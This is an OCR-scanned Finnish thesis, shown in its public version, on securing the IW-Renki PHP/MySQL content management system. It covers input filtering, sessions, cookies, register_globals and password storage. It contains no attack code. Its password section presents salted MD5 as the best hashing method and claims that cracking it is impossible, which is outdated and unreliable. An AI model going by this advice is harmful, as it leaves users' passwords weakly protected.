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Tiivistelma

Opinnaytetyoni tarkoitus oli tutkia ja mahdollisesti parantaa Oy IW-Net Ltd:n eli ImageWorldin IW-
Renki-sisallénhallintajarjestelman tietoturvaa. IW-Renki on toteutettu kayttamalla PHP ja JavaSc-
ript-kielia ja MySQL-tietokantaa. Koska IW-Renkia on kehitetty vuosien aikana useamman ihmisen
voimin, oli tarpeen tarkastaa onko sisadllénhallintajarjestelmaan jaanyt tietoturva-aukkoja. Tieto-
turvan tarkastusvaiheessa keskityttiin kyseisten kielten suurimpiin tietoturvauhkiin. Tarkastus ta-
pahtui tutkimalla yleisimmat tietoturva-aukot ja kdymalla ohjelmistokoodia lapi. Materiaalia hankit-
tiin WWW-sivuilta ja alan kirjallisuudesta. Kaytéssa oli myds Oy IW-Net Ltd:n sisdinen materiaali.
Vaikka IW-Renki oli jo turvallinen kdyttaa valmiiksi, aina on parannettavaa.

Opinnaytety6 koostuu kolmesta kokonaisuudesta. Ensimmaisessa osassa kerrotaan, mita sisallon-
hallintajarjestelmat ovat ja keskitytéan IW-Renki-sisallonhallintajarjestelmaan.

Toisessa osassa keskitytadn kaytettyihin ohjelmointikieliin ja niiden tietoturvaominaisuuksiin. Vii-
meisessa osassa kerrotaan yleisimmista tietoturvauhkista ja siitd, miten niitd vastaan voidaan toi-
mia.

Ohjeistuksesta pyrittiin tekemaan mahdollisimman yksinkertainen, koska asia on tarkea. Tyosta
tulee olemaan tulevaisuudessa hydtya niille, jotka haluavat kehittdd taitojaan tietoturvallisessa
ohjelmoinnissa.

Lopputuloksena ImageWorld sai ohjeistuksen, kuinka kehittda IW-Renkia turvallisemmaksi. Lisaksi
IW-Rengista tuli entista turvallisempi.
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The purpose of this final project was to examine and possibly improve the security of IW-Renki

which is a content management system developed by Imageworld.

The basic core of IW-Renki is very secure, but it has been continuously developed over the years
to bring more functionality to it. Because of the number of people involved in the development
there was no certainty of its security. IW-Renki has been programmed by using PHP (PHP Hyper-
text Preprosessor) and JavaScript-languages and it uses MySQL- database. This final project was
to be a simple guide to improve the security with the techniques mentioned- This was done by
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when testing vulnerabilities. The information was collected from many sources such as PHP secu-
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LYHENTEET JA MAARITELMAT

HTML

Hypertext Markup Language. Internet-sivujen teossa kaytettava merkkauskieli.

JavaScript

Komentosarjakieli, jota kaytetddn yleisesti internet-ymparistossa.

MD5

Message-digest 5 -salausalgoritmi, jota kaytetdan kryptografiassa.

MD5-hash

MD5-algoritmilla salattu sana tai lause.

MySQL.

SQL-tietokantojen hallitsemiseen kaytetty tyokalu.

PHP

PHP:Hypertext Preprocessor. Dynaamisissa internet-sovelluksissa kaytetty

ohjelmointikieli.

RSS

Really Simple Syndication. Usein paivittyvan internet-sisallon julkaisemiseen kaytet-

tava verkkosyotteen muoto.

SQL

Structured Query Language. Tietokantojen hallintaan kaytetty standardoitu kyselykie-
li.



SQL-Injektio

Yksi yleisimmista verkkohytkkdysmuodoista. Toteutetaan yleenséa syottamalla haital-
lista SQL-koodia huonosti toteutettuun tai suojaamattomaan tietokantakyselyyn.

WWWwW

World Wide Web on Internet-verkossa toimiva hajautettu hypertekstijarjestelma.

XSS

Cross-Site Scripting. Tietoturva-aukko, jota esiintyy www-sovelluksissa. Se

mahdollistaa haitallisen koodin sy6ttamisen ja luvattoman paasyn internet-sivuille.



1 JOHDANTO

Taman opinnaytetydbn tavoitteena on parantaa ImageWorldin IW-Renki-
sisallonhallinta-jarjestelman tietoturvaa ja selvittda miten tulevaisuudessa tietoturva
voidaan ottaa huomioon uusia ominaisuuksia suunniteltaessa. Ta&ma opinnaytetyd on
julkinen versio. Opinnadytetydstd on myds salainen osa joka tuli Oy IW-Net Ltd:n
omaan kayttoon.

Tietoturva on nousemassa yhdeksi keskeisimmistd osa-alueista ohjelmointialalla,
koska yha useampi WWW-sovellus tarvitsee tietoja kayttajistddn. Nama tiedot tallen-
tuvat aina johonkin tietokantaan tai tietokantoihin. Jos tiedot paasevat rikollisten ka-
siin huonon ohjelmoinnin tai valinpitamattémyyden takia, voivat haitat olla suuria.
Vuonna 2011 on ollut useita tapauksia, joissa WWW-palveluita on murrettu ja kaytta-

jatietoja on vuodettu internetin keskustelupalstoille (Tietoturva nyt!, 2011).

Tasta syysta tietoturva on térked aihe ja sen kouluttamista ohjelmoijille suositellaan

silla ala muuttuu jatkuvasti. Uskon, etta tasta tiedosta on hyoétya tulevaisuudessa.

PHP-Security Consortium:n WWW-sivu oli tarkeimpéna lahteenda, kun tietoa etsittiin
WWW:-tietoturvasta. PHP-Security Consortium on jarjestd, joka koostuu joukosta
PHP-ohjelmoijia ja jonka idea on kertoa tietoturvasta PHP-kielen parissa ty6skentele-
ville. Suurin osa materiaaleista on Internetissd, mutta aihetta kasittelevia kirjoja on

myos olemassa.

IW-Renki on ohjelmoitu kayttden PHP:ta ja Javascriptia seka MySQL -tietokantaa. IW-
Rengissa kaytetaan myds HTML-kuvauskieltd ja CSS-tyylimaaritteita, koska kyse on
WWW-sovelluksesta. Aluksi tydssa kerrotaan sisallénhallintajarjestelman keskeisim-
mista ominaisuuksista keskittyen IW-Renkiin. Tyon toinen kokonaisuus kertoo kayte-
tyista tekniikoista ja WWW-tietoturvasta yleisesti, koska nama samat ohjeet patevat

my6s muissa ylla mainituilla ohjelmointikielilla ohjelmoiduissa sovelluksissa.

Lopuksi tydssa kerrotaan kahdesta yleisimmasta tietoturvauhkasta, MySQL-
injektiosta ja XSS-hyokkayksistd seka siita, miten niitd vastaan voidaan toimia. Nama
hytkkaykset ovat yleistyneet nykyaikana todella paljon, koska palvelujen maarakin on

kasvanut rajahdysmaisesti.
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2 WWW-SISALLONHALLINTAJARIESTELMA

WWW:-sisallénhallintajarjestelmat on kehitetty auttamaan suurien sivustojen hallintaa.
Niilla on haluttu helpottaa sivustojen paivitysta niin, ettd kokemattomimmat sivuston
tekijat  saisivat tehtyda nayttavan ja  helposti  hallittavan  sivuston.

Sisallénhallintajarjestelmat tai julkaisujarjestelmat auttavat siis nimensa mukaisesti
hallitsemaan WWW-sivuille tulevaa sisaltéd. Sisallénhallintajarjestelméat auttavat
myds kayttajan tai kayttajien hallintaa tarjoamalla keskitetyn paikan kayttajahallinnal-
le.

Sisallonhallintajarjestelman etuja ovat:

e Tiedon tallennus tietokantaan (tiedon arkistointi).
Tieto arkistoituu tietokantaan ja sitd voidaan esimerkiksi etsia tarpeen tullen.
o Kayttdjien hallinta (kayttajaryhmat ja oikeudet).
Erilaisten kayttajaoikeuksien luonti. Voidaan erotella oikeudet kayttajakohtai-
sesti.
¢ Ulkoasun muuttaminen (css-tyylitiedoston vaihtaminen).
Sivuston ulkoasuja voi olla useita ja niitd voidaan vaihtaa tarpeen mukaan.
¢ Toiminnallisuuden dynaamisuus.
Kaikki toiminnot tapahtuvat dynaamisesti ja ilman ohjelmistokoodin tuntemis-
ta.
o Jarjestelman laajennettavuus (moduulit).
Toiminnallisuutta voidaan lisatéa halutuilla moduuleilla eli lisdosilla.
e Paivittdmisen helppous.
Sivustoa voidaan paivittda mista tahansa. Ainoan rajoitteen tekee toimiva in-
ternet-yhteys.
¢ Hallinnan keskittyvyys.
Erilliselle hallintasivulle paésevat vain ne kayttajat, joilla on tarvittavat oikeu-
det. (WWW-Sisallonhallintajarjestelma)

IW-Rengista kaytdssa oli yrityksen sisainen dokumentaatio. Seuraavissa alaluvuissa

keskitytadn IW-Renki-sisdllonhallintajarjestelman toimintoihin.
2.1 Kirjautuminen
Sisallénhallintajarjestelméén on kirjauduttava, ennen kuin muutosten tekeminen si-

vustolle onnistuu. Kuvassa 1 on IW-Renki-sisédllonhallintajarjestelméan kirjautumisruu-

tu, josta padsee kirjautumaan sisallonhallintajarjestelmén hallintaikkunaan.
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IUJ Kirjaudu CMS-hallintaan

Kayttajatunnus I] l

Salasana

Kirjaudu >

KUVA 1. IW-Renki. Kirjautumisikkuna (kuvakaappaus Oy IW-Net Ltd 2011)

Murtautujat yrittdvat yleensa paastd naistd ruuduista ohi kayttamalla MySQL-
injektioita tai kayttamalla hyvaksi edellisia istuntoja, jos jarjestelmaan on kirjauduttu
yleiseltd koneelta. Jos murtautuja paasee tastd ruudusta eteenpdin, on tietoturva

jatetty huomioimatta.

2.2 Sivujen hallinta

Sisallonhallintajarjestelmissa on yleensa julkinen etusivu, jolla on tarvittavat tiedot
tietokantaan yhdistdmiseen, sivujen vaihdon hallintaan ja muu tarvittava HTML-

standardin mukainen koodi.

Sivut eivat ole enaa perinteisia HTML-sivuja, jotka on tehty vanhalla (sivul.html, si-
vu2.html,..) tyylillda, vaan sivujen sisaltdé haetaan dynaamisesti tietokannasta sivujen

tunnisteen perusteella. Jos sisaltta tulee paljon, erillisten tiedostojen maara ei kasva.

Kokemattomat kayttajatkin voivat helposti paivttdd sivuja, koska heidan ei tarvitse
tietdd mitaan kotisivujen tekemisesta HTML- ja PHP-kielilla. Sisalt6a lisataan sisal-
I6nhallintajarjestelman mukana tulevalla editorilla (kuva 4). Uudet artikkelit lisataan
tietokantaan ja naille tallentuu automaattisesti yksildllinen tunniste. Nain vanhemmat-

kin artikkelit 16ytyvat tietokannasta.

Sisallon maaralle ei yleensé ole mitddn muuta ylarajaa kuin tietokannan koko ja kay-
tetyn palveluntarjoajan sivutila, joten sivuja ja alasivuja voi olla jarjestelmassa mel-

kein loputtomasti.

Jarjestelmassa on myods yleensa ainakin kaksi puolta: julkinen ja yksityinen. Julkista
puolta paasevat selaamaan kaikki, jotka tulevat sivustolle ja suurin osa kayttgjista

nakee tdman puolen. Yksityiselle puolelle pdésevat ne, joilla on tarvittavat oikeudet.
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Yksityisella puolella sijaitsee myds IW-Rengin hallintapaneeli. Yksityiselle puolelle
voidaan myos laittaa erillinen extranet-osio, joka on suojattu kayttajatunnuksella ja
salasanalla.

Sivuille voi tarvittaessa liséta sivupaneelin. Tahan sivupaneeliin voi halutessaan lisata
moduuleita tai esimerkiksi kirjautumisikkunan. Sivupaneeliin voi periaatteessa lisata

mink& tahansa moduulin. Ainoa rajoite on sivupaneelin koko sivuttaissuunnassa.

2.3 Valikot

Sisallonhallintajarjestelma luo myds tarvittavan valikkorakenteen, joka tekee sivuston
tekemisestd dynaamisempaa. Kuvassa 2 on esimerkkind tarkastamani IW-Renki-
sisallonhallintajarjestelman linkkienhallinta-sivu. Linkeista voidaan valita, mita sisaltoa
ladataan etusivulle eli mika sivuista on etusivu. Oikeassa reunassa oleva téhti kertoo,

mink& sivun kayttaja on valinnut oletussivuksi.

© IM3GEWORLD ETUSIVU PALAUTE
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. tinymceTest: > &9

Vieraskirja 11.02.2011 - 1 2 0 &9 f 8

APULINKIT

Tekijancikeus © 2011 Oy IW-Net Ltd - Oikeudet varataan

KUVA 2. IW-Renki. Linkkienhallinta (kuvakaappaus Oy IW-Net Ltd 2011)

Kuvasta 2 nahdaan mahdollisuus tehda erikielisia versioita sivuista. Tassa IW-Rengin
versiossa on mahdollisuus tehda sivuja suomen liséksi englanniksi, venajaksi ja ruot-

siksi. Rajoitetta eri kielten maaralle ei ole.

Tietokannassa on erillinen tunniste kielelle ja jarjestelma nakee tasta tunnisteesta,
minka kielinen versio sivusta haetaan. Tassa nahdaan esimerkki sisallonhallintajar-

jestelman dynaamisuudesta. Jarjestelma luo linkit erikielisille sivuille automaattisesti.
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Kaantamistyota jarjestelma ei tee, mutta jos eri kielelle k&&nnetty siséltd on valmiina,

niin sisallén lisaaminen editorin kautta onnistuu vaivattomasti.

Linkkien maaréa ei ole rajoitettu, mutta sivun teeman koko voi asettaa jotain rajoituk-
sia sivuttaissuunnassa, jos linkkeja tulee useita kymmenia. Talléin on viisasta jakaa
linkit alatasoihin ja vahentad paatason linkkeja. Jos linkkeja tulee liilan paljon, olisi
hyva miettia, mika tiedosta on oleellista ja tarpeellista. Monimutkainen sivustorakenne
saattaa tehda sivuston selaamisesta vaivalloista.

On mahdollista tehda rajatuilla kayttajaoikeuksilla toimivia sivuston osia. Téallaisia voi
olla aiemmin mainittu extranet. Naihin www-sivuston osiin paasee vain kirjautumalla
sivustoon. Kuvassa 3 esitellaan IW-Renki -jarjestelmén ikkuna, jossa voidaan lisata

uusi linkki valikkoon.

© IM3GEWORLD ETUSIVY PALAUTE

09 .04 .2016 Julkinen (nakyy aikille)

Tekijanoikeus © 2011 Oy IW-Nat Ltd - Oikeudat varat:

KUVA 3. IW-Renki. Linkin lisays (kuvakaappaus Oy IW-Net Ltd 2011)

Kuvasta 3 ndhdaan, etta linkkia lisattaessa valitaan kieli ja linkin taso (paa- tai alata-
s0). Taman jalkeen kirjoitetaan linkille nimi ja tallennetaan linkki. Sisaltd sivuille luo-

daan kayttamalla vapaan lahdekoodin TinyMCE-editoria.

TinyMCE-editorilla sisallon lisdays ja muokkaus on helppoa, ja silla kokematonkin
kayttaja voi lisata sivuillensa mediaa kuten aanta, taulukoita, videota, animaatioita ja
kuvia. Siséltd tallentuu tdman jalkeen tietokantaan kyseisen sivun tunnisteen alle.
Linkki taytyy julkaista tallentamisen jalkeen, jotta sisaltdé nakyisi sivuston kayttajille.
Sivustoa voidaan hallita ja paivittda helposti selaimen avulla. Tasta on myds hyotyna
se ettd kayttajan ei tarvitse tietaa mitaan tietokannoista ja WWW-ohjelmoinnista teh-

dékseen nayttavia sivuja.
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KUVA 4. IW-Renki. Sivun sisallon lisdys (kuvakaappaus Oy IW-Net Ltd 2011)

2.4 Kayttdjanhallinta

Useissa valmiissa sisallonhallintajarjestelmissa on tehty mahdolliseksi lisatd, poistaa
ja muokata kayttajia ja heidan tietojaan. Suurten kayttagjamaarien hallinnointi on help-
poa, koska kaytdssa on keskitetty hallintajarjestelma eivatka tiedot ole hajautettu ym-
pari jarjestelmda. Kayttajat voidaan listata ja listauksesta nahdaan, mita oikeuksia
kyseisilla henkil6illa mihinkin sivunosaan on. Kayttajatileja voidaan myos “jaadyttaa”

eli laittaa tilit pois kaytosta, jos tarvetta ilmenee.

© IMAGEWORLD ETUSIVU PALAUTE

Paskaytiajs

Lisda kayttdja

KUVA 5. IW-Renki. Kayttajan hallinta (kuvakaappaus Oy IW-Net Ltd 2011)

Kuvassa 5 ndkyy IW-Renki -jarjestelman kayttajan lisdys -ominaisuus. Kayttajan

lisdyslomake on perinteinen rekisterditymislomake, jossa kysytaan:
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Kayttajanimi
Etunimi
Sukunimi
Mahdollinen yritys
Sahkopostiosoite
Osoite
Postinumero
Postitoimipaikka
Puhelinnumero 1
Puhelinnumero 2
Kayttajaryhma

Luettelon tiedoista pakollisia ovat kayttajanimi, sahkopostiosoite ja kayttajaryhma.
Naiden tietojen muokkaaminen ja taydentaminen onnistuu myds jalkikateen. Jarjes-
telm& arpoo salasanan automaattisesti ja lahettda sen annettuun sahkdpostiosoitte e-
seen. Taméan jalkeen jarjestelmadn padsee kirjautumaan sahkdpostiin tulleilla tun-
nuksilla. Jos tunnuksia ei sahkopostiin tule, kannattaa tarkistaa palomuuriasetukset
tai sdhkopostiohjelman roskapostisuodatin. Joskus namé saattavat aiheuttaa ongel-

mia, vaikka sahkodpostiviesti olisi taysin asiallinen.

Kayttgjien tiedot keratdan MySQL-tietokantaan, josta niiden hallitseminen kay helpos-
ti. Kayttdjien maarélle ei ole ylarajaa, vaikkakin tietokannan koko saattaa asettaa ra-
joituksia. Yleensa tasta ei kuitenkaan tule ongelmaa. Kayttdjia on mahdollista sijoittaa
eri kayttajaryhmiin, joilla on erilaiset oikeudet sivuille paasyyn tai sivujen muokkaami-

seen. Sivustolle voidaan tehda erityinen osio, jonne padsee vain kirjautumalla.

© IM3GEWORLD ETUSIVU PALAUTE

W

RIAUTUNEENA n KAYTTAJIENHALLINTA

KUVA 6. IW-Renki. Kayttajaryhmien hallinta (kuvakaappaus Oy IW-Net Ltd 2011)
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Kuvassa 6 nakyy, ettd on mahdollista antaa tietylle kayttajaryhmélle oikeus erinaisiin
hallintapaneelin osiin. Talldin jollekin voidaan antaa oikeudet hallita kayttajia ja kayt-
tadjaryhmid, kun taas toisella on oikeudet muokata moduuleita. Paakayttajaryhmalla
on oikeudet kaikkeen, mité hallinnassa voi tehda.

Vain paakayttajaryhmaan kuuluvilla kayttajilla on oikeus lisatd, muokata ja poistaa
sivuja. Yleinen tapa onkin, etta sisallénhallintajarjestelmalld on yksi tai korkeintaan
muutama paakayttaja. Padkayttajan tunnuksia tuleekin hallinnoida tarkasti, eika niita
tule luovuttaa kenellekd&dn muulle. Nailla tunnuksilla on mahdollistaa sotkea sivusto
tai poistaa se kokonaan nakyvistda. Parhaimmastakaan tietoturvasta ei ole mitédén

hyo6tya, jos kayttaja ei huolehdi perustasolla omista tunnuksistaan.

2.5 Sivustonhallinta

Kun sivusto julkaistaan internetiin, on mahdollista, etta sivuston haltija haluaa seurata
sivustolle tulijoiden tietoja. Naihin tietoihin kuuluvat maakohtaiset tiedot, selain-tiedot,
sivuston latauskertojen maara ja milla sanoilla sivua on haettu hakukoneessa. Sivus-

ton hallinnassa taméa on otettu huomioon kohdassa Statistiikka: Google Analytics.

Google Analytics palveluun rekisterditymalla kayttaja saa henkilokohtaisen avainnu-
merosarjan, joka yksiloi kayttajan palvelussa. Taman avainnumerosarjan syottamalla
jarjestelmdan Googlen Analytics-palvelu alkaa kerata tietoja sivustolla kévijoista.
(Google Analytics, 2011)
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Kuva 7. IW-Renki. Sivuston hallinta (kuvakaappaus Oy IW-Net Ltd 2011)

Sivustolle on myds mahdollista lisata meta-hakusanoja, jotka tuovat nakyvyytta haku-
tuloksiin, kun sivustoa etsitaan jollain hakukoneella. Nama sanat eivat nay sivustolla

ja ne ovat osa HTML-koodin headers-tietueita.

2.6  Moduulit

Moduuleilla tarkoitetaan siséllonhallintajarjestelman toiminnallisuutta monipuolistavia
lisdosia. Naita voivat olla blogi, vieraskirja, foorumi tai ajanvarausjarjestelma.

Kuvassa 8. on esitelty IW-Rengin moduulienhallinta-sivu.

€ IMGEWORLD ETUSIVU PALAUTE

W

KIRJAUTUNEENA - MODUULIEN HALLINTA =

NAVIGAATIO H

STATISTIIKKA -

Tekijsnoikeus © 2011 Oy IW-Net Ltd - Oikeudet vara

KUVA 8. IW-Renki. Moduulien hallinta (kuvakaappa Oy IW-Net Ltd 2011)

Kun lisamoduuleita ohjelmoidaan asiakkaan tarpeisiin, olisi hyva, jos jo suunnittelu-

vaiheessa otettaisiin huomioon mahdolliset tietoturvariskit. Tulevissa luvuissa kerro-



18

taan, miten PHP-kielella tehdyissa jarjestelmissa voidaan tietoturva ottaa huomioon
pienilla lisapanostuksilla.
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3 PHP

PHP on suosittu WWW-ympaéristoon tarkoitettu skriptaus-kieli. Se on suunniteltu web-
kehitykseen ja sen lisdédminen HTML-koodin sekaan on helppoa. PHP ajetaan suo-
raan palvelimelta. Tasta on se hyoty, ettd sivuilla naytetdan vain koodin ajamisen
lopputulos, ei itse koodia. PHP-kielen hienouksiin kuuluu sen helppous uusille ohjel-
moijille, mutta se tarjoaa myds todella paljon erilaisia ominaisuuksia kokeneemmille-

kin ohjelmoijille. (Achour, ym., 2011)

3.1 Virheiden raportointi

Virheiden raportointi tulisi ohjelmaa kehitettdessa olla kaytdssa, jotta kehittaja nakisi
mahdolliset virheet. PHP-kielessd on olemassa funktio error_reporting(), joka para-
metrin E_ALL saatuaan nayttaa kaikki virheet, varoitukset ja huomiot sivustolla. Kun
sivusto siirretdan paikalleen valmiina, pitdd kyseinen funktio poistaa koodista, koska
joku voi tehda tahallisesti virhetilanteen ja paasta nakemaan virheilmoituksen. Yleen-
sa virhetiedotteessa nakyy tiedostopolku sivuille tai pahimmassa tapauksessa tieto-

kannan tai tietokannan taulujen rakenteita. (Error reporting, 2011)

3.2 Tiedon suodatus

Tiedon suodatus tarkoittaa kayttdjan syottamien haitallisten tietojen poistamista tai
siivoamista, ennen kuin tietoa syttetddn tietokantakyselyihin tai naytetddn sivulla.
PHP on laaja kieli, ja siitéa l6ytyvat kaikki tarvittavat funktiot kayttajan syottaman tie-

don siistimiseen.

Kayttdjan syottamasta tiedosta tulisi siistia aina kaikki, mika vaikuttaa epailyttavalta.

Taytyy myds olla varma, etta kaikki siistittava tieto menee suodattimien lapi. Tiedon
suodatuksessa olisi kaytettava periaatetta, ettd kaikki kayttajan syottama tieto olisi
hylattava, ennen kuin se todetaan hyvaksytyksi. Taytyy myds varmistaa, etta hyvak-

sytty ja hylatty tieto eivat sekoittuisi toisiinsa.
Kaikki kayttajat eivat ole hyvalla asialla ja joku, jolla on tarvittava tietamys, voi tunkeu-
tua jarjestelmaan pienella vaivalla. Ohessa kolme katevaa PHP-kielen valmista funk-

tiota, joilla syétetta voi siivota:

str replace() Vertaa ja vaihtaa muuttujan sanasta
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addslashes() Lisaa kauttaviivat heittomerkkien
jalkeen
mysql real escape string/() Lisaa kauttaviivat heittomerkkien

jalkeen SQL-sydtteeseen.

Kayttdgjan syottamasta tiedosta olisi hyva poistaa tai jattdd huomiotta MySQL-
lauseissa kaytettavid merkkeja. Olisi hyva, jos ainakin %-merkki suodatettaisiin pois,
koska se toimii jokerimerkkin& eli se voi olla mik& tahansa merkki. Tamé suodatetaan
pois, jos haluttu SQL-kyselyn tulos ei sita vaadi. Poistaa pitaisi myés mahdolliset
XSS-uhkat, esimerkiksi mahdollisuus sy6ttda JavaScript-koodia tekstikenttiin ilman,

etta syotetta siivottaisiin.

Sydtetyn tiedon tarkastamisessa olisi hyvéa ottaa huomioon myo6s kaytetyn muuttujan
tyyppi. PHP-kielessa tietotyyppia ei anneta muuttujalle, vaan se riippuu siitd, mita

tietoa muuttujaan syotetaan.

PHP-kielessé on periaatteessa nelja perustietotyyppia: Integer eli kokonaisluvut, float
eli desimaaliluvut, string eli teksti ja boolean eli totuusarvo. Naiden lisaksi on my6s
kaksi yhdistelmatyyppia: Array eli taulukko ja object eli olio. Tarkastettavasta koh-
teesta pitda tarkistaa, onko muuttuja numeraalinen, onko siind desimaaleja tai onko
siind haitallisia merkkeja tai merkkijonoja. Ohessa on lueteltu joitakin tarkastusfunkti-
oita, joiden avulla kyseiset tarkastukset voidaan tehda. Funktiot palauttavat totuusar-
von riippuen tuloksesta. PHP-kielessa on tarkastusfunktioita runsaasti ja tassa esittel-
l&&n vain joitain tarkeimpia. Tarkastuksilla voidaan estaa tai poistaa kokonaan XSS-

hyokkayksia ja MySQL-injektioita.

is_int () Tarkistaa onko muuttuja kokonaisluku.
is float () Tarkistaa onko muuttuja desimaaliluku.
is_array() Tarkistaa onko muuttuja taulukko.

is numeric() Tarkistaa onko muuttuja numeerinen.

is string() Tarkistaa onko muuttuja tekstia.

is null() Tarkistaa onko muuttuja tyhja.

Tiedon suodatuksessa olisi hyva ottaa huomioon myds muuttujan olemassaolon tar-

kastus. Tama onnistuu isset()-funktiota kayttamalla.

<?php

if (isset($ GET['numero']) && is numeric($ GET['numero']) ) {
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echo “Muuttujassa on tietoa ja tieto on numeraalinen”;
}else(

echo “Syota numero! : ”; }?>

PHP-koodi tarkistaa $ GET][]-taulussa tulevan numero-muuttujan olemassaolon en-
sin isset()-funktiolla ja tarkistaa sen jalkeen, onko se numeerinen is_numeric()-

funktion avulla. (Data filtering, 2011)

3.3 Salasanat

Melkein jokaisella sivustolla on mahdollista rekisterditya ja hankkia nimimerkki esi-
merkiksi keskustelualueelle. Salasanojen tallentamisessa kannattaa aina kayttaa
MDb5-salausta ja mielellaan lisdksi viela salt-lisdsanaa. MD5-salaus toimii niin, etta se
ottaa parametrikseen merkkijonon ja kryptaa eli salakirjoittaa sen 128-bittisella sala-
uksella. TAman jalkeen salattu sana tai lause esitetddn 32 merkin heksakoodatussa
muodossa. (Rivest, 2011) Koska MD5-tiiviste on aina 32-merkkinen, ei voi paatella,

mink& kokoinen alkuperainen sana tai lause on.

Paras tapa kryptata eli salakirjoittaa salasana on kayttda MD5-algoritmia ja salt-

lisdsanaa.

Ssalasana = MDb5 ($salasana+$salt)

tai

$salasana = MD5 ($salt+S$salasana)

Nyt tietokantaan tallentuu vain MD5-salauksella tehty hash eli MD5-tiiviste salasanas-
ta ja salt-sanasta. Pelkkdda MD5-hashia ilman salt-sanaa ei suositella kaytettavaksi
enda nykypdaivana, koska normaalien sanojen MD5-hasheja voidaan vertailla netissa

[6ytyvilla tyokaluilla.

TAULUKKO 1. Sanat ja niiden MD5-tiivisteet

Sana MD5-Tiiviste

kissa 1ad99cbe%e425d4£19c53a29d4£12597
koira 9b37a00b7elcbafc37efd602e8e57461
lintu 6d5dedd87adad4c0b5005¢c72610672617
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Taulukossa 1 on muutamia sanoja, joiden MDb5-tiivisteet luotiin PHP:n funktiolla
MD5($sana). Salasanana oli kulloinkin taulukossa I6ytyva sana, kuten kissa. Téallai-
senaan MD5-tiivisteitd on helppo verrata toisiinsa, jos rikollinen keksii, milla kryp-
tausmenetelmalla salasana kryptataan tietokantaan.

Seuraavaksi laitetaan sanan perdaan salt-lisdsana. Salt-sana on tassa esimerkissa
1234. Se voi kuitenkin olla mita tahansa muuta ja parempi olisikin, etta salt-sana olisi
vaikka satunnainen sana tai kirjain-merkkijono. Kaytetty funktio on sama kuin edellg,
mutta siihen on vain lisatty salt. Eli funktio on MD5($sana.”1234”). Taulukosta 2 nah-

daan salt-sanan merkitys.

TAULUKKO 2. Sanat + salt ja niiden MD5-tiivisteet

Sana + salt MD5-tiiviste

kissal234 168249d5£5558ec69bbb2b35aaf9d204
koiral234 cdcf33cdl0£92cd0a5a56691b5de5b31
lintul234 6dabbc0efl10164a27e1d8£0305bbb68c

Salasanoja ei voida enaa vertailla taysin samalla lailla. Jos ei tiedetd, etta salt-sana
on kaytéssa, murtautuminen on miltei mahdotonta. Ja vaikka tiedettaisiin, etta salt-
sana on kaytdssa, siindkin tapauksessa murtautuminen on mahdotonta, jos itse salt-
sanaa ei tiedeta. Kirjautumis-sivulle salasanan ja kayttajanimen tarkastukseen lisa-

taan vertailuun salt-sana samalla tavalla.

MDb5-salauksessa on se hyoty, ettd kun salasanoja verrataan kirjautumisen tarkas-
tuksessa, varsinaista salasanaa ei liiku kyselyissa mukana, silla nyt vertaillaan vain
MD5-tiivisteita. Talléin alkuperainen salasana ei paljastu, vaikka murtautuja tarkaste-

lisi sivustolla liikkuvaa tietoa.
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3.4 Istunnot

Istuntoja kaytetddn PHP-pohjaisissa jarjestelmissa pitdmaan erindisia tietoja ylla se-
lailun aikana. Naihin tietoihin kuuluu esimerkiksi tiedot kirjautumisesta. Istunnolla yk-
siloidaan kayttaja antamalla talle oma uniikki eli yksil6llinen istunnon numero. Tama
istuntotieto tallennetaan yleensa evasteeseen tai kuljetetaan osoitepalkissa $ GET][] -
parametrina. Jalkimmainen vaihtoehto on huonompi, koska tieto sessiosta kulkee
koko ajan nakyvissa. Istunto luodaan yleensa kirjautumisen yhteydessa ja tuhotaan
uloskirjautumisen jalkeen tai tietyn ennalta maaratyn ajanjakson jalkeen. (Istunto,
2011)

3.4.1 Istunnon kaappaaminen

Kolmas osapuoli voi kaapata istunnon ja saada silla keinoin haltuunsa kaikki tiedot,
jotka istunnossa liikkuu. TAma on todellinen tietoturvariski varsinkin silloin, jos istun-
non tietoja ei ole salakirjoitettu. Istunnossa liikkuvat tiedot ovat kirjautumistietoja ja
ndin ollen murtautuja voi saada tietoonsa kayttdjanimen ja salasanan
(McClure;Scambray;& Kurtz, 2002, ss. 578-580). Aina kun lis&tdan istuntoon lisaa

tietoa, se kryptataan kayttaen esimerkiksi MD5-salausta.

3.4.2 Evasteet

Cookiet eli evasteet ovat sivuston tapa kerata tietoja kayttajasta esimerkiksi verkko-
kaupan ostoskoria varten. Cookien tiedot vélitetaan yleensa vain sille palvelimelle,
jossa kulloinkin selataan. Cookiet keraavat tietoa sivustolla kdynnista ja niihin voi-
daan tallentaa kayttajan istuntotietoja. Cookiet kehitettiin, koska HTTP-protokollassa

ei ole mahdollisuutta hallinnoida yksildidysti kaynteja WWW-sivuilla.

Evésteiden avulla www-palvelimet voivat yksildida kayttajan ja muistavat kayttajan
seuraavan kerran, kun sivuille palataan. Evasteita on kahdenlaisia: pysyvia ja istun-
tokohtaisia. Pysyvit sailyvat koneella niin kauan kunnes ne poistetaan ja istuntokoh-

taiset poistuvat, kun sivulta lahdetaan. (McClure;Scambray;& Kurtz, 2002, s. 680)
3.5 Register globals
Globaaleilla muuttujilla tarkoitetaan muuttujia, jotka ovat samoja joka paikassa eika

niita tarvitse esitellda eikéd alustaa uudestaan. Nama ovat katevia, mutta niissa piilee

riski. PHP-kielessd on olemassa funktio register_globals(), joka on poistunut kaytdsta
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uudemmissa PHP-versioissa, mutta se saattaa olla kaytdssd vanhemmilla PHP-
versioilla toimivilla palvelimilla. Tamé funktio luo POST,- ja GET-taulukoissa olevista
indekseistd omat muuttujansa suoraan. Eli jos POST-taulukossa on indeksi etunimi,
register_globals()-funktio tekee siitd automaattisesti $etunimi-muuttujan. (Register
globals, 2011) Koodista saattaakin tulla erittdin sekavaa, jos POST,- ja GET-tauluissa
likutellaan paljon muuttujia. Tama luo tietoturvariskin sivuille, koska ei voida luottaa,

mik& muuttuja on suodatettu ja mika ei ole.

3.6 Magic Quotes

Magic Quotes on PHP-kielen asetustiedostosta (php.ini) [6ytyva funktio, joka siivoaa
kayttajan syotteita automaattisesti. Tama funktio on kateva, mutta se on poistumassa
kaytosta seuraavan PHP-version astuessa voimaan. Se aiheuttaa sivuston kehittajille
enemman ongelmia kuin ratkaisee niita. Kaikkea kayttajan syottamaa tietoa ei valt-
tamatta tallenneta tietokantaan, joten naiden syoétteiden siivoaminen olisi turhaa.
Funktion kaytén voi tarkastaa katsomalla php.ini-tiedostoa tai kayttamalla PHP-

funktiota get_magic_quotes_gpc(), joka palauttaa totuusarvon. (Achour, ym., 2011)

Magic quotes toiminnon saa pois kaytosta kahdella eri tavalla (php.ini) :

1. tapa

